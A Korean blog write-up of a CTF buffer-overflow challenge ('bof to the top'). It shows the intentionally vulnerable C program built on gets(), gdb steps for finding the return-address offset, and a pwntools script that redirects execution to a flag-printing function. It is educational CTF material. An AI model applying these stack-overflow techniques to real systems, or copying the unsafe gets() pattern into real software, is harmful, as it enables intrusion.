CTF/포너블

[DwagCTF] bof to the top - 포너블 / 버퍼오버플로우 / Pwntool / gdb

SecurityMan 2022. 4. 17. 15:30

 

대회가 끝나고 나서 풀어본 버퍼오버플로우 문제

 

쪼금 생각해야하는 부분이 있어서 마냥 간단하지만은 않았다.

 

 

bof 라는 이름의 바이너리 파일과 이 파일의 소스코드가 주어진다.

 

해당 파일은 ELF 파일로 리눅스에서 실행 가능한 프로그램이다. 

 

리눅스의 EXE 파일이라고 생각하면 된다.

 

 

프로그램을 실행시켜보면 사용자의 입력을 두번 받는다.

 

맨 처음 이름을 물어보고, 어떤 노래를 부를건지 물어보는데

 

각각 hello, world 라도 입력해봤다. 

 

입력했더니 프로그램은 아무런 출력도 없이 종료된다.

 

#include "stdio.h"
#include "string.h"
#include "stdlib.h"

// gcc -m32 -fno-stack-protector -no-pie bof.c -o bof

void audition(int time, int room_num){
	char* flag = "/bin/cat flag.txt";
	if(time == 1200 && room_num == 366){
		system(flag);
	}
}

void get_audition_info(){
	char name[50];
	char song[50];
	printf("What's your name?\n");
	gets(name);
	printf("What song will you be singing?\n");
	gets(song);
}

void welcome(){
	printf("Welcome to East High!\n");
	printf("We're the Wildcats and getting ready for our spring musical\n");
	printf("We're now accepting signups for auditions!\n");
}

int main(){
	welcome();
	get_audition_info();
	return 0;
}

 

주어진 소스코드를 살펴본다.

 

main() 함수가 가장 처음 실행되기 때문에 main() 함수를 먼저 살펴보면

 

welcome() 함수를 호출하고, get_audition_info() 함수를 호출하는걸 볼 수 있다.

 

welcome() 함수는 단순히 안내문구를 printf로 출력하는걸로 보아 별 의미는 없고,

 

get_audition_info() 함수에서 사용자의 이름과 노래를 입력을 받는걸 볼 수 있다.

 

맨 위에는 소스코드 어디서도 호출되지 않는 audition() 함수가 보이는데,

 

audition() 함수는 int time, int room_num을 argument로 받고있는걸 볼 수 있다.

 

time의 값이 1200이고, room_num 이 366일 경우에만 flag를 출력하도록 되어있다.

 

반응형

 

이 문제는 get_audition_info() 함수에서 버퍼오버플로우 취약점을 이용해

 

ret주소를 변경하어 audition() 함수를 강제로 실행시켜야 하는 문제이다.

 

문제를 풀기 위한 정보를 획득하기 위해 디버거로 bof를 실행시켜본다.

 

 

디버거는 gdb를 이용해봤다.

 

gdb는 GNU Debugger 의 약자로 유닉스 기반의 시스템에서 가장 기본적인 디버거라고 생각하면 된다.

 

gdb ./bof 라고 입력하면 된다.

 

 

가장 먼저 입력할 명령어는 set disassembly-flavor intel 이다.

 

gdb를 실행하면 기본적으로 at&t 문법으로 출력해주는데 쪼금 가독성이 떨어진다.

 

이걸 깔끔하게 보기위해서 intel 문법으로 변경시켜주는 명령어이다.

 

 

양쪽 다 disas main 명령어로 main 함수를 디스어셈블 했을때 결과이다.

 

왼쪽은 at&t 문법, 오른쪽은 intel 문법이다. 

 

별 차이없다고 느낄진 모르지만 코드가 복잡해질수록 가독성이 매우 중요하기 때문에

 

이렇게 하는편이다.

 

 

본격적으로 문제를 풀어본다.

 

get_audition_info() 함수에 브레이크 포인트를 걸어서 자세히 보자.

 

b get_audition_info 라고 입력하면 브레이크 포인트가 걸린다.

 

브레이크 포인트를 걸면 프로그램이 실행되다가 저 부분에서 멈추고, 

 

그 상태에서 스택이나 레지스터 등 상태들을 살펴볼 수 있다.

 

 

r을 입력하면 프로그램이 실행된다.

 

Welcome ~ 하는 문구가 나오는걸 보아 welcome() 함수가 실행되고,

 

get_audition_info() 함수 실행 직전에 멈춘걸 알 수 있다.

 

 

ni 를 입력하면 프로그램을 한 스탭씩 실행시킬 수 있다.

 

ni ni ni ni 계속 입력하다가 이름을 물어보는 부분에서 aaaa 라고 입력해봤다.

 

 

마찬가지로 노래를 물어보는 부분에서는 bbbb를 입력해봤다.

 

 

x/100wx $esp 라고 입력하면 스택의 상태를 확인해볼 수 있다.

 

두번째 줄 끝에 0x62626262 라고 값이 들어가있고,

 

더 아래쪽에는 0x6161 6161 이 들어가 있는걸 볼 수 있다.

 

0x61은 a고 0x62는 b를 의미한다.

 

아까 사용자 이름과 노래를 물어보는 부분에 입력했던 aaaa와 bbbb가 각각 저 위치에 저장되는 것이다.

 

void get_audition_info(){
	char name[50];
	char song[50];

 

소스코드를 다시보면

 

name 변수와 song 변수 모두 크기가 50인걸 볼 수 있다.

 

 

아까랑 똑같이 실행시켜서 name과 song에 a와 b를 각각 50개씩 넣으면 이런 모양이 된다.

 

네모로 된 부분이 각 변수에 할당된 공간이다.

 

지금 밑줄친 부분에 0xf7fdc400 이라는 값이 들어가 있는게 보이는데

 

만약에 name에 a를 51개를 넣으면 name 변수에 할당된 공간을 넘어서 0xf7fdc400가 변조될 것이다.

 

 

a를 51개 넣었더니 위처럼 0xf7fdc400가 0xf7fd0061 이 된 것을 볼 수 있다.

 

이렇게 스택 공간에서 할당된 공간을 넘어서 값을 덮어쓰는걸 버퍼오버플로우 라고 한다.

 

이런식으로 공간을 덮어써서 ret 주소를 변경시켜 프로그램 흐름을 바꿀 수 있다.

 

 

그럼 어떤 값을 덮어써야할까?

 

bt 명령어를 입력하면 스택의 정보를 확인할 수 있다.

 

main() 함수에서 get_audition_info() 함수를 호출했기 때문에 

 

get_audition_info() 함수가 종료되면 main() 함수로 돌아가야 한다.

 

main() 함수의 주소는 0x08049286 인데, 스택에 보면 이 주소가 그대로 적혀있는걸 볼 수 있다.

 

저 부분이 ret 주소가 저장되는 부분이다.

 

저 부분을 audition() 함수의 주소로 바꾸면 프로그램은 main() 함수로 돌아가지 않고

 

audition() 함수로 진행되게 된다.

 

 

저 부분을 덮어쓰려면 a 50개에 12개를 더해서 총 62개를 입력하고,

 

그다음에 audition() 함수의 주소를 입력해주면 된다.

 

 

audition() 함수의 주소는 info func 명령어로 확인이 가능하다.

 

0x08049182 이다.

 

 

문제를 풀기위해 python pwntools를 이용해본다.

 

pip install pwntools 로 설치할 수 있다.

 

from pwn import *

p = process('./bof')

audition = p32(0x08049182)
time = p32(1200)
room_num = p32(366)

payload = b'a'*62 + audition + b'a'*4 + time + room_num

print(p.recvuntil('name?').decode())
p.sendline(payload)
print(p.recvuntil('singing?').decode())
p.interactive()

 

코드는 이렇게 간단하게 짤 수 있다.

 

from pwn import *로 pwntools를 사용할 수 있고

 

process()로 bof를 실행시켜준다.

 

audition 변수에 audition() 함수의 주소를 넣어주고

 

파라미터로 줘야하는 time, room_num 변수에 각각 1200, 366 값을 넣어준다.

 

payload 변수에는 이걸 다 합쳐주면 된다.

 

a를 62개 먼저 덮어쓰고, audition() 함수의 주소로 ret 주소를 변경시킨 후, 

 

파라미터로 time, room_num 값을 차례로 넣어주면 된다.

 

이때 주의할 것은 ret 주소 다음에 4바이트를 띄워 준 다음에 파라미터를 전달해줘야 한다는 것이다.

 

그래서 auditon 과 time, room_num 사이에 더미 값으로 a를 4개 넣어줬다.

 

코드를 실행시키면 오류가 나긴하는데 문제는 없다.

 

아래쪽에 audition() 함수가 실행되어서 플래그가 출력되는걸 볼 수 있다.

반응형